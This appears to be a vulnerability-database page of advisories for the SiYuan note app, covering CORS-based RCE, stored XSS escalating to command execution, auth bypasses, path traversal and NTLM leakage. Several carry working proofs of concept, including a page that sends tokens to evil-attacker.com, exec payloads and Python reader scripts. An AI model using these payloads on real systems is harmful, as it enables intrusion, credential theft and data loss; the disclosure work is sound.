-Infinity
0

Vendor Risk Score

See how b3log compares to other vendors in security performance

View Risk Score →
Severity
9.7
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.

Details

Vulnerable files: - kernel/server/serve.go, lines 960-963 — CORS middleware - kernel/api/snippet.go, lines 93-128 — snippet injection endpoint

Root cause: The CORS middleware unconditionally sets: Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Access-Control-Allow-Private-Network: true

The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: , any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.

The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.

Attack chain: 1. User visits https://evil-attacker.com while SiYuan desktop is running 2. Malicious JS sends CORS preflight to http://127.0.0.1:6806 — SiYuan responds with permissive CORS headers 3. Browser sends actual POST to /api/snippet/setSnippet with the user's session cookie 4. SiYuan accepts the request and saves a malicious JS snippet 5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution

PoC

Malicious webpage (hosted on any domain):

html <!DOCTYPE html> <html> <body> <h1>Innocent looking page</h1> <script> // Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js fetch('http://127.0.0.1:6806/api/snippet/setSnippet', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ snippets: [{ id: 'exploit-' + Date.now(), name: 'system-update', type: 'js', content: 'require("childprocess").exec("id > /tmp/siyuan-rce-proof")', enabled: true }] }) }).then(r => r.json()).then(d => { console.log('Snippet injected:', d); });

// Step 2 (optional): Exfiltrate API token and all notes fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'} }).then(r => r.json()).then(d => { // Send API token and config to attacker server fetch('https://evil-attacker.com/collect', { method: 'POST', body: JSON.stringify(d.data) }); }); </script> </body> </html>

Verification steps:

1. Start SiYuan desktop (or Docker with SIYUANACCESSAUTHCODE set) 2. Login to SiYuan in a browser to establish a session cookie 3. In the same browser, navigate to the malicious page 4. Verify snippet was injected: bash curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \ -H "Content-Type: application/json" \ -b <session-cookie> \ -d '{"type":"all","enabled":2}'

Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.

Impact

- Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges. - Data exfiltration: The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers. - No user interaction beyond browsing: The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs. - Affects all desktop users: SiYuan desktop runs on 127.0.0.1:6806 by default. The Access-Control-Allow-Private-Network: true header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack. - Persistence: The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.

Details The issue is caused by an authorization bypass in the bookmark API path used by the publish service.

In kernel/api/bookmark.go, getBookmark checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes nil as the request context: go if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() tempBookmarks := &model.Bookmarks{} for , bookmark := range bookmarks { bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks) In kernel/model/publishaccess.go, FilterBlocksByPublishAccess allows access when c == nil: go if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) { ret = append(ret, block) } This bypasses the intended password enforcement performed by CheckPublishAuthCookie, which validates the publish-auth-<id> cookie for protected content.

The publish proxy authenticates anonymous publish visitors with a RoleReader token, and CheckAuth accepts RoleReader, so unauthenticated publish visitors can reach /api/bookmark/getBookmark and trigger the vulnerable code path.

I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a POST /api/bookmark/getBookmark request. The response returned a bookmark group containing the protected block in data[0].blocks, confirming the bypass.

PoC

1. Start SiYuan with the publish service enabled. 2. Create a new document, for example publish-bookmark-poc. 3. Add a block containing identifiable content, for example BOOKMARKSECRET123. 4. Open the block attributes and assign a bookmark label, for example leak-test. 5. In Doc Tree, enable Publish Access Control and set the document to Protected. 6. Set a password for that document, for example test123, and confirm the change. 7. Open the publish service in a fresh incognito/private browser session. 8. Verify that opening the protected document through the publish UI requires the password. 9. Without entering the password, open the browser developer console and run: js fetch("/api/bookmark/getBookmark", { method: "POST", headers: { "Content-Type": "application/json" }, body: "{}" }) .then(r => r.json()) .then(x => console.log(JSON.stringify(x, null, 2))); 10. Observe that the response contains a bookmark entry such as: json { "code": 0, "msg": "", "data": [ { "name": "leak-test", "blocks": [ { "box": "20260327012540-ppsxc5j", "path": "/20260327012543-acu1mdn.sy", "hPath": "/publish-bookmark-poc", "id": "20260327012543-1y6djn1", "rootID": "20260327012543-acu1mdn", "parentID": "20260327012543-acu1mdn", "name": "", "alias": "", "memo": "", "tag": "", "content": "​<span data-type=\"code\">​BOOKMARKSECRET123</span>​", "fcontent": "", "markdown": "BOOKMARKSECRET123", "folded": false, "type": "NodeParagraph", "subType": "", "refText": "", "refs": null, "defID": "", "defPath": "", "ial": { "bookmark": "leak-test", "id": "20260327012543-1y6djn1", "updated": "20260327013116" }, "children": null, "depth": 1, "count": 0, "refCount": 0, "sort": 10, "created": "", "updated": "", "riffCardID": "", "riffCard": null } ], "type": "bookmark", "depth": 0, "count": 1 } ] } Actual result: /api/bookmark/getBookmark returns bookmarked blocks from protected documents without requiring the publish password.

Impact An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the Protected publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
XSS, Code Injection
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Summary An attacker who can place a malicious URL in an Attribute View mAsse field can trigger stored XSS when a victim opens the Gallery or Kanban view with “Cover From -> Asset Field” enabled. The vulnerable code accepts arbitrary http(s) URLs without extensions as images, stores the attacker-controlled string in coverURL, and injects it directly into an <img src="..."> attribute without escaping. In the Electron desktop client, the injected JavaScript executes with nodeIntegration enabled and contextIsolation disabled, so the XSS reaches arbitrary OS command execution under the victim’s account.

Details The vulnerable flow is:

1. IsPossiblyImage(assetPath) accepts arbitrary http(s) URLs without validating that they are safe image URLs. 2. When an Attribute View card uses Cover From -> Asset Field, the application copies asset.Content directly into galleryCard.CoverURL / kanbanCard.CoverURL. 3. The front-end renderer inserts coverURL directly into <img src="${getCompressURL(item.coverURL)}"> without escaping quotes or other attribute-breaking characters. 4. A payload such as https://example.com/" onerror="require('childprocess').exec('calc') breaks out of the src attribute and adds an attacker-controlled onerror handler. When the image fails to load, the injected JavaScript runs in the Electron renderer. Because the desktop app enables nodeIntegration: true and disables contextIsolation and webSecurity, that JavaScript can access Node.js APIs and execute system commands.

PoC 1. Install Electron Desktop app. 2. Create a database / Attribute View with an mAsset column and add at least one row. 3. Add any legitimate image to that mAsset field so the entry is stored as type image. 4. Switch the view to Gallery or Kanban. 5.Set Cover From to Asset Field and choose the mAsset column. 6. Edit the existing image asset entry and replace its link with the following payload: https://example.com/" onerror="require('childprocess').exec('calc') 7. Save the change and reopen or refresh the Gallery / Kanban view. 8. Observe that the rendered HTML contains an injected onerror handler and the Calculator application starts on Windows.

Example rendered output: html <img loading="lazy" class="avgallery-img" src="https://example.com/" onerror="require('childprocess').exec('calc')"> Impact An attacker can store malicious content in a database asset field and execute arbitrary JavaScript when another user opens the affected Gallery or Kanban view. In the desktop client, that JavaScript has access to Node.js APIs, so the impact is not limited to browser-context XSS. The payload executes OS commands with the victim’s local user privileges, which turns this into remote code execution on the desktop application once the malicious content is delivered and rendered.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
XSS, Code Injection
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Summary A malicious note synced to another user can trigger remote code execution in the SiYuan Electron desktop client. The root cause is that table caption content is stored without safe escaping and later unescaped into rendered HTML, creating a stored XSS sink. Because the desktop renderer runs with nodeIntegration enabled and contextIsolation disabled, attacker-controlled JavaScript executes with access to Node.js APIs. In practice, an attacker can import a crafted note into a synced workspace, wait for the victim to sync, and achieve code execution when the victim opens the note.

Details The vulnerability exists in the table caption handling path. When a table block is parsed, the caption attribute is saved into the node's IAL properties without proper HTML escaping. Later, during rendering, that value is read back, passed through HTML unescaping, and written directly into the output DOM. This turns an attacker-controlled caption into active HTML inside the rendered note.

I confirmed that a crafted table caption containing encoded HTML such as &lt;img src=x onerror=...&gt; is rendered as a live DOM element instead of inert text. This makes the issue a stored XSS. I also confirmed that the most practical delivery path is not Markdown import, but a crafted .sy.zip note imported into a synced workspace. Once synced to another desktop client, opening the note executes the payload automatically.

In the Electron desktop client, this XSS results in code execution rather than browser-only script execution. The renderer is configured with nodeIntegration: true and contextIsolation: false, so JavaScript running in the note context can call Node.js APIs directly. A payload such as require('childprocess').exec('calc') executes successfully, demonstrating code execution on the victim machine in the context of the logged-in user.

PoC

- SiYuan Desktop Client A: attacker - SiYuan Desktop Client B: victim - Both clients are configured to use the same sync target

PoC File

I created a malicious .sy.zip note containing a table block with a crafted caption property.

Safe validation payload: html &lt;img src=x onerror=alert('caption-xss')&gt; RCE validation payload on Windows: html &lt;img src=x onerror=require('childprocess').exec('calc')&gt;

Steps to Reproduce 1.On Client A, import the crafted .sy.zip note using:

Import -> SiYuan .sy.zip

2.Confirm the imported note appears in the workspace.

3.Trigger sync on Client A so the malicious note is uploaded to the shared sync target.

4.On Client B, trigger sync so the note is downloaded from the shared sync target.

5.Open the synced note on Client B.

Observed Result With the safe payload, JavaScript executes automatically when the victim opens the note. With the RCE payload, the Electron renderer executes: js require('childprocess').exec('calc') This launches Calculator on Windows, demonstrating code execution in the victim user's context.

Impact - Impact Across All Platforms: Stored XSS - Electron Desktop App: Remote Code Execution

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
EPSS
0.04%
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

A vulnerability has been found in SiYuan 3.1.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file PDF.js of the component PDF Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-271993 was assigned to this vulnerability.

First published (updated )
Severity
9.8
EPSS
0.39%
Command Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An issue in symphony v.3.6.3 and before allows a remote attacker to execute arbitrary code via the log4j component.

First published (updated )
Severity
8.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H

SiYuan is an open-source personal knowledge management system. In versions 3.6.3 and prior, the /api/av/removeUnusedAttributeView endpoint constructs a filesystem path using the user-controlled id parameter without validation or path boundary enforcement. An attacker can inject path traversal sequences such as ../ into the id value to escape the intended directory and delete arbitrary .json files on the server, including global configuration files and workspace metadata. This issue has been fixed in version 3.6.4.

First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

An authenticated publish-service reader can invoke /api/av/removeUnusedAttributeView and cause persistent deletion of arbitrary attribute view (AV) definition files from the workspace.

The route is protected only by generic CheckAuth, which accepts publish RoleReader requests. The handler forwards a caller-controlled id directly into a model function that deletes data/storage/av/<id>.json without verifying either:

- that the caller is allowed to perform write/destructive actions; or - that the target AV is actually unused.

This is a persistent integrity and availability issue reachable from the publish surface.

Root Cause

1. Publish users are issued a RoleReader JWT

- kernel/model/auth.go

go ClaimsKeyRole: RoleReader,

2. The publish reverse proxy forwards that token upstream

- kernel/server/proxy/publish.go - kernel/server/proxy/publish.go

3. CheckAuth accepts RoleReader

- kernel/model/session.go

go if role := GetGinContextRole(c); IsValidRole(role, []Role{ RoleAdministrator, RoleEditor, RoleReader, }) { c.Next() return }

4. The route is exposed with CheckAuth only

- kernel/api/router.go

go ginServer.Handle("POST", "/api/av/removeUnusedAttributeView", model.CheckAuth, removeUnusedAttributeView)

There is no CheckAdminRole and no CheckReadonly.

5. The handler forwards attacker-controlled id directly to the delete sink

- kernel/api/av.go

go avID := arg["id"].(string) model.RemoveUnusedAttributeView(avID)

6. The model deletes the AV file unconditionally

- kernel/model/attributeview.go

go func RemoveUnusedAttributeView(id string) { absPath := filepath.Join(util.DataDir, "storage", "av", id+".json") if !filelock.IsExist(absPath) { return } ... if err = filelock.RemoveWithoutFatal(absPath); err != nil { ... return } IncSync() }

Crucially, this function does not verify that the supplied AV is actually unused. The name of the function suggests a cleanup helper, but the implementation is really "delete AV file by id if it exists".

Attack Prerequisites

- Publish service enabled - Attacker can access the publish service - If publish auth is enabled, attacker has valid publish-reader credentials - Attacker knows an avID

Obtaining avID

avID is not secret. It is exposed extensively in frontend markup as data-av-id.

Examples:

- app/src/protyle/render/av/render.ts - app/src/protyle/render/av/layout.ts - app/src/protyle/render/av/groups.ts

Any publish-visible database/attribute view can therefore disclose a valid avID to the attacker.

Exploit Path

1. Attacker browses published content containing an attribute view. 2. Attacker extracts the data-av-id value from the page/DOM. 3. Attacker sends a POST request to /api/av/removeUnusedAttributeView through the publish service. 4. Publish proxy injects a valid RoleReader token. 5. CheckAuth accepts the request. 6. The handler passes the attacker-controlled avID to model.RemoveUnusedAttributeView. 7. The backend deletes data/storage/av/<avID>.json.

Proof of Concept

Request:

http POST /api/av/removeUnusedAttributeView HTTP/1.1 Host: <publish-host>:<publish-port> Content-Type: application/json Authorization: Basic <publish-account-creds-if-enabled>

{ "id": "<exposed-data-av-id>" }

Expected result:

- HTTP 200 - backend increments sync state - the target attribute view file is removed from data/storage/av/ - published and local workspace behavior for that AV becomes broken until restored from history or recreated

Impact

This gives a low-privileged publish reader a destructive persistent write primitive against workspace data.

Practical consequences include:

- deletion of live attribute view definitions - corruption/breakage of published database views - breakage of local workspace rendering and AV-backed relationships - operational disruption until restore or manual repair

The bug affects integrity and availability, not merely UI state.

Recommended Fix

At minimum:

1. Block publish/read-only users from this route. 2. Require admin/write authorization. 3. Re-validate that the target AV is actually unused before deletion.

Safe router fix:

go ginServer.Handle("POST", "/api/av/removeUnusedAttributeView", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeUnusedAttributeView, )

And inside the model or handler, reject deletion unless the target id is present in UnusedAttributeViews(...).

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

SiYuan is an open-source personal knowledge management system. In versions 3.6.1 through 3.6.3, a prior fix for XSS in bazaar README rendering (incomplete fix for CVE-2026-33066) enabled the Lute HTML sanitizer, but the sanitizer does not block iframe tags, and its URL-prefix blocklist does not effectively filter srcdoc attributes which contain raw HTML rather than URLs. A malicious bazaar package author can include an iframe with a srcdoc attribute containing embedded scripts in their README. When other users view the package in SiYuan's marketplace UI, the payload executes in the Electron context with full application privileges, enabling arbitrary code execution on the user's machine. This issue has been fixed in version 3.6.4.

First published (updated )
Severity
9.1
XSS, Code Injection
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

SiYuan is an open-source personal knowledge management system. In versions 3.6.3 and below, Mermaid diagrams are rendered with securityLevel set to "loose", and the resulting SVG is injected into the DOM via innerHTML. This allows attacker-controlled javascript: URLs in Mermaid code blocks to survive into the rendered output. On desktop builds using Electron, windows are created with nodeIntegration enabled and contextIsolation disabled, escalating the stored XSS to arbitrary code execution when a victim opens a note containing a malicious Mermaid block and clicks the rendered diagram node. This issue has been fixed in version 3.6.4.

First published (updated )
Severity
8.7
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

SiYuan configures Mermaid.js with securityLevel: "loose" and htmlLabels: true. In this mode, <img> tags with src attributes survive Mermaid's internal DOMPurify and land in SVG <foreignObject> blocks. The SVG is injected via innerHTML with no secondary sanitization. When a victim opens a note containing a malicious Mermaid diagram, the Electron client fetches the URL.

On Windows, a protocol-relative URL (//attacker.com/image.png) resolves as a UNC path (\\attacker.com\image.png). Windows attempts SMB authentication automatically, sending the victim's NTLMv2 hash to the attacker.

Root Cause

Mermaid initialization at app/src/protyle/render/mermaidRender.ts lines 28 and 33:

mermaid.initialize({ securityLevel: "loose", flowchart: { htmlLabels: true, }, });

SVG injection at line 101:

renderElement.lastElementChild.innerHTML = mermaidData.svg;

No DOMPurify or other sanitization between the Mermaid output and DOM insertion.

Mermaid v11.12.0 in "loose" mode strips active JavaScript (<script>, onerror, onload) but explicitly allows <img> tags with src attributes in the final SVG output. Verified by rendering the PoC below through the Mermaid CLI with matching configuration.

The Electron main process at app/electron/main.js line 78 sets disable-web-security, and lines 319+ set webSecurity: false, nodeIntegration: true, contextIsolation: false on all BrowserWindows. The disabled web security allows protocol-relative URLs to resolve as UNC paths.

Proof of Concept

Mermaid code block in a SiYuan note:

mermaid graph TD A["<img src='//attacker.com/share/img.png'>"] --> B[Normal Node]

Rendered SVG output (verified with Mermaid CLI 11.12.0, securityLevel: "loose", htmlLabels: true):

<foreignObject> <div xmlns="http://www.w3.org/1999/xhtml"> <span class="nodeLabel"> <p><img src="//attacker.com/share/img.png" style="..."></p> </span> </div> </foreignObject>

What was stripped by Mermaid's internal sanitizer (verified): onerror, onload, all event handler attributes, <script> tags, file:// URLs.

What survived (verified): <img src="http://...">, <img src="//...">.

Attack steps: 1. Attacker creates a note or .sy export containing the Mermaid block above 2. Attacker hosts a listener on attacker.com (Responder, ntlmrelayx, or HTTP logger) 3. Victim imports the notebook or opens the shared note 4. SiYuan renders the Mermaid diagram, injects SVG via innerHTML 5. Electron fetches //attacker.com/share/img.png

On Windows: Electron resolves the protocol-relative URL as a UNC path. Windows sends NTLMv2 credentials to the attacker's SMB server.

On macOS/Linux: Electron makes an HTTP request to the attacker's server, leaking the victim's IP and confirming when the note was read.

Impact

Zero-click credential theft on Windows. The victim only needs to view the note. NTLMv2 hashes can be cracked offline or used in relay attacks. On all platforms, the request acts as a tracking pixel and blind SSRF from the victim's machine.

No configuration changes required. The securityLevel: "loose" setting is hardcoded in SiYuan's Mermaid initialization.

Suggested Fix

Change Mermaid initialization to securityLevel: "strict". If HTML labels are required, add a DOMPurify pass on the SVG output before the innerHTML assignment at mermaidRender.ts:101, configured to strip <img> tags or enforce a strict URI allowlist blocking external and protocol-relative URLs.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
XSS, Code Injection
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary A vulnerability allows crafted block attribute values to bypass server-side attribute escaping when an HTML entity is mixed with raw special characters. An attacker can embed a malicious IAL value inside a .sy document, package it as a .sy.zip, and have the victim import it through the normal Import -> SiYuan .sy.zip workflow. Once the note is opened, the malicious attribute breaks out of its original HTML context and injects an event handler, resulting in stored XSS. In the Electron desktop client, this XSS reaches remote code execution because injected JavaScript runs with access to Node/Electron APIs.

Details The issue is caused by a logic regression in escapeNodeAttributeValues in kernel/filesys/tree.go. Previously, the escaping logic converted node.KramdownIAL with parse.IAL2Map(...) before deciding whether a value needed escaping. That conversion unescaped existing entities first, so mixed values such as: &amp;" onmouseenter="alert('IAL-XSS') were still recognized as unsafe and escaped correctly. The logic changed to inspect raw KramdownIAL values directly. The new needsEscapeForValue implementation returns false as soon as it sees any known entity such as &amp;, &quot;, &lt;, or &gt;. This means a value containing both an entity and an unescaped raw quote bypasses escaping entirely.

That bypass becomes exploitable because the renderer later inserts block IAL values directly into HTML attributes. A payload like: &amp;" onmouseenter="require('childprocess').exec('calc') can be rendered into HTML equivalent to: <div title="&amp;" onmouseenter="require('childprocess').exec('calc')"> This creates a stored XSS condition. In SiYuan Desktop, the Electron renderer runs with Node.js integration available, so attacker-controlled JavaScript can invoke Node APIs directly. As a result, the issue is not limited to script execution in the page context and becomes arbitrary command execution on the victim’s machine.

The stored XSS path was validated by importing a crafted .sy.zip through the normal GUI and triggering JavaScript execution from the rendered block. Because the same injected JavaScript runs in the privileged Electron renderer, this is an RCE issue in the desktop client.

PoC 1. Start SiYuan Desktop v3.6.1. 2. Prepare a crafted .sy.zip containing a .sy document with a block IAL property such as: "title": "&amp;\" onmouseenter=\"require('childprocess').exec('calc')" 3. In the UI, right-click any notebook. 4. Select Import -> SiYuan .sy.zip. 5. Import the crafted archive. 6. Open the imported note. 7. Move the mouse over the affected paragraph block. 8. Observe that the injected JavaScript executes. 9. On Windows, calc.exe launches, demonstrating arbitrary command execution.

Impact This vulnerability allows an attacker to deliver a malicious .sy.zip file that executes attacker-controlled JavaScript after import. In the desktop application, that JavaScript runs with Node/Electron privileges and can execute arbitrary operating system commands under the victim’s account. This makes the bug equivalent to local code execution triggered by importing and opening attacker-supplied content.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The SanitizeSVG function introduced in v3.6.0 to fix XSS in the unauthenticated /api/icon/getDynamicIcon endpoint can be bypassed by using namespace-prefixed element names such as <x:script xmlns:x="http://www.w3.org/2000/svg">. The Go HTML5 parser records the element's tag as "x:script" rather than "script", so the tag check passes it through. The SVG is served with Content-Type: image/svg+xml and no Content Security Policy; when a browser opens the response directly, its XML parser resolves the prefix to the SVG namespace and executes the embedded script.

Details

The getDynamicIcon route is registered without authentication:

go // kernel/server/serve.go ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)

For type 8, the content query parameter is inserted directly into an SVG <text> element using fmt.Sprintf with no HTML encoding:

go // kernel/api/icon.go:579-584 return fmt.Sprintf( <svg id="dynamicicontype8" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"> <path d="..."/> <text x="50%%" y="55%%" ...>%s</text> </svg>, ..., content)

SanitizeSVG then parses the SVG with github.com/88250/lute/html and removes elements whose lowercased tag name matches a fixed list:

go // kernel/util/misc.go:249-252 tag := strings.ToLower(c.Data) if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" || "animate" == tag || ... { n.RemoveChild(c)

The lute HTML parser stores the full qualified name including any namespace prefix in Node.Data. A payload like <x:script xmlns:x="http://www.w3.org/2000/svg"> gets Data = "x:script". The check tag == "script" is false, so the element is not removed and survives in the rendered output.

Confirmed with the same library version used by SiYuan:

html.Parse input: <x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script> Node.Data result: "x:script" (not "script") Removed by check: false Rendered output: <x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>

The same bypass works for every element on the blocklist: x:iframe, x:object, x:foreignObject, etc.

The fix is to strip the namespace prefix before comparing:

go localName := tag if i := strings.LastIndex(tag, ":"); i >= 0 { localName = tag[i+1:] } if localName == "script" || localName == "iframe" || ...

PoC

GET /api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E HTTP/1.1 Host: 127.0.0.1:6806

Decoded content value: </text><x:script xmlns:x="http://www.w3.org/2000/svg">alert(document.domain)</x:script><text>

The response is a valid SVG with the script element intact. Opening the URL directly in a browser triggers the alert, confirming script execution at the SiYuan server origin.

Impact

Any user whose SiYuan instance is reachable over a local network is exposed. An attacker on the same network can craft the URL and share it. When the victim opens it in a browser, JavaScript executes at the http://<siyuan-host>:6806 origin. Because SiYuan sets Access-Control-Allow-Origin: and the script runs same-origin, it can call any API endpoint using the victim's existing session cookies, including endpoints to read all notes, export data, or modify settings. No authentication or prior access is needed to construct the payload.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Details

Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.

PoC

python #!/usr/bin/env python3 """SiYuan /api/block/getChildBlocks 文档内容读取""" import requests import json import sys

def getchildblocks(targeturl, docid): """ 调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容 """ url = f"{targeturl.rstrip('/')}/api/block/getChildBlocks" headers = { "Content-Type": "application/json" } data = { "id": docid } try: response = requests.post(url, json=data, headers=headers, timeout=10) response.raiseforstatus() result = response.json() if result.get("code") != 0: print(f"[-] 请求失败: {result.get('msg', '未知错误')}") return None return result.get("data") except requests.exceptions.RequestException as e: print(f"[-] 网络请求失败: {e}") return None except json.JSONDecodeError as e: print(f"[-] JSON解析失败: {e}") return None

def formatblockcontent(block): """格式化块内容""" content = "" # 获取块内容 if isinstance(block, dict): # 尝试多种可能的字段 md = block.get("markdown", "") or block.get("content", "") or "" if md: content = md.strip() return content

def main(): """主函数""" if len(sys.argv) > 1: targeturl = sys.argv[1] else: targeturl = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip() if not targeturl: targeturl = "http://localhost:6806" print(f"目标地址: {targeturl}") print("=" 50) while True: print("\n" + "=" 50) docid = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip() if docid.lower() in ['quit', 'exit', 'q']: print("程序退出") break if not docid: print("[-] 文档ID不能为空") continue print(f"\n[] 正在读取文档: {docid}") blocks = getchildblocks(targeturl, docid) if blocks is None: print("[-] 获取文档内容失败") continue if not blocks: print(f"[!] 文档 {docid} 没有子块或为空") continue print(f"[+] 成功获取 {len(blocks)} 个子块") print("-" 50) # 保存所有块内容 allblockscontent = [] for i, block in enumerate(blocks, 1): content = formatblockcontent(block) if content: print(content[:200] + ("..." if len(content) > 200 else "")) allblockscontent.append({ "index": i, "content": content, "rawblock": block }) # 询问是否保存到文件 savechoice = input("\n是否保存到文件? (y/N): ").strip().lower() if savechoice in ['y', 'yes']: filename = f"doc{docid}blocks.json" try: with open(filename, "w", encoding="utf-8") as f: json.dump({ "docid": docid, "blockcount": len(blocks), "blocks": allblockscontent }, f, ensureascii=False, indent=2) print(f"[+] 已保存到: {filename}") except Exception as e: print(f"[-] 保存失败: {e}") print("-" 50)

if name == "main": main()

<img width="1492" height="757" alt="image" src="https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc" />

Impact

File reading: All encrypted or prohibited documents under the publishing service could be read.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.06%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

PoC

python #!/usr/bin/env python3 """POC: SiYuan /api/file/readDir 未鉴权目录遍历""" import requests, json, sys

def poc(target): base = target.rstrip("/") url = f"{base}/api/file/readDir"

def readdir(path, depth=0, maxdepth=4): try: r = requests.post(url, json={"path":path}, headers={"Content-Type":"application/json"}, timeout=10) data = r.json() except Exception as e: return if data.get("code") != 0: return

entries = data.get("data") or [] for entry in entries: name = entry.get("name","") if name.startswith("."): continue icon = "📁" if entry.get("isDir") else "📄" indent = " " depth print(f" {indent}{icon} {name}")

if entry.get("isDir") and depth < maxdepth: readdir(f"{path}/{name}", depth+1, maxdepth)

# 遍历根目录 print("[+] 漏洞存在!开始遍历\n") print(" 📂 data/") readdir("data", maxdepth=2)

print("\n 📂 conf/") readdir("conf", maxdepth=2)

# 保存 try: r = requests.post(url, json={"path":"data"}, headers={"Content-Type":"application/json"}, timeout=10) with open("readdir.json","w",encoding="utf-8") as f: json.dump(r.json(), f, ensureascii=False, indent=2) print(f"\n[+] 根目录数据已保存: readdir.json") except: pass

if name == "main": poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")

Impact

